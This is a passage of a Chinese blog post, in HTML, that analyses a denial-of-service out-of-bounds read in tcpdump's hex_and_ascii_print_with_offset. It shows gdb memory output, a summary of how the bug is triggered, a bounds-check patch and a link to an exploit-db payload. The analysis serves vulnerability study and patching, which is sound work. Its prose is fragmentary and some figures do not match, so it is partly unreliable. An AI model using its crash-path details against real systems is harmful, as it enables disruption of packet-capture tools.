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< h3 id = "内存分析" > < a href = "#内存分析" class = "headerlink" title = "内存分析" > < / a > 内存分析< / h3 > < p > 仔细分析之后发现， ， ， < br > 通过查看epx的值来看一下这个内存到底开辟到什么位置< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. gdb-peda$ x/10000000x 0x81e33bd< / span > < br > < span class = "line" > 2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000< / span > < br > < span class = "line" > 3. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000< / span > < br > < span class = "line" > 4. 0x8203ffd: Cannot access memory at address 0x8204000< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 可以看到， ， ， ， ， ， ， < br > 来看一下到达拒绝服务位置读取的长度： – > 0x0； ； < br > EBP刚好为10621。正是不可读取内存空间的地址， < / p >
< h3 id = "漏洞总结" > < a href = "#漏洞总结" class = "headerlink" title = "漏洞总结" > < / a > 漏洞总结< / h3 > < p > 总结一下整个漏洞触发过程， ， ， ， ， ， ， < / p >
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< h2 id = "漏洞修补" > < a href = "#漏洞修补" class = "headerlink" title = "漏洞修补" > < / a > 漏洞修补< / h2 > < p > Libpcap依然是apt安装的默认版本， < br > 在hex_and_ascii_print_with_offset中增加对caplength的判断< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. caplength = (ndo-> ndo_snapend > = cp) ? ndo-> ndo_snapend - cp : 0;< / span > < br > < span class = "line" > 2. if (length > caplength)< / span > < br > < span class = "line" > 3. length = caplength;< / span > < br > < span class = "line" > 4. nshorts = length / sizeof(u_short);< / span > < br > < span class = "line" > 5. i = 0;< / span > < br > < span class = "line" > 6. hsp = hexstuff; asp = asciistuff;< / span > < br > < span class = "line" > 7. while (--nshorts > = 0) { < / span > < br > < span class = "line" > 8. ...< / span > < br > < span class = "line" > 9. } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 可以看到执行完caplength = (ndo-> ndo_snapend > = cp) ? ndo-> ndo_snapend - cp : 0;， ， ， ， < / p >
< h2 id = "参考" > < a href = "#参考" class = "headerlink" title = "参考" > < / a > 参考< / h2 > < p > < a href = "https://www.exploit-db.com/exploits/39875/" target = "_blank" rel = "noopener" > exploit-db payload< / a > < br > < a href = "https://whereisk0shl.top/post/2016-10-23-1" target = "_blank" rel = "noopener" > WHEREISK0SHL分析博客< / a > < br > < a href = "https://github.com/the-tcpdump-group" target = "_blank" rel = "noopener" > libpcap/tcpdump源码< / a > < / p >
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